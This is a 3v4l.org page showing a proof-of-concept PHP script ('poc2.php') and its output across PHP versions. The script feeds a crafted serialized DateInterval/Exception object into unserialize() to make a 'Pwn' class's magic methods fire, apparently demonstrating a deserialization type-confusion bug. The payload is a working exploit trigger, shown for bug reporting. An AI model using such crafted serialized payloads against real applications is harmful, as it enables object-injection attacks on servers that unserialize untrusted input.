3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php /*$ php poc2.php surprise 1 surprise 1 surprise 1 surprise 2 */ class Pwn { function __call($x,$y) { die("surprise $x\n"); } function __get($x) { echo "surprise $x\n"; } } unserialize('O:12:"DateInterval":1:{s:4:"days";O:9:"Exception":7:{s:10:"'."\0".'*'."\0".'message";s:1:"x";s:17:"'."\0".'Exception'."\0".'string";s:1:"A";s:7:"'."\0".'*'."\0".'code";i:0;s:7:"'."\0".'*'."\0".'file";s:1:"a";s:7:"'."\0".'*'."\0".'line";i:1337;s:16:"'."\0".'Exception'."\0".'trace";a:0:{}s:19:"'."\0".'Exception'."\0".'previous";O:3:"Pwn":0:{}}}'); ?>
based on jfQIY
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.35, 5.6.12 - 7.2.0
Output for 5.3.27 - 5.3.29, 5.4.17 - 5.4.43, 5.5.24 - 5.5.27, 5.6.8 - 5.6.11
surprise message surprise file surprise line surprise gettraceasstring
Output for 5.3.19 - 5.3.26, 5.4.0 - 5.4.16
Notice: Object of class Exception could not be converted to int in /in/bRQCK on line 23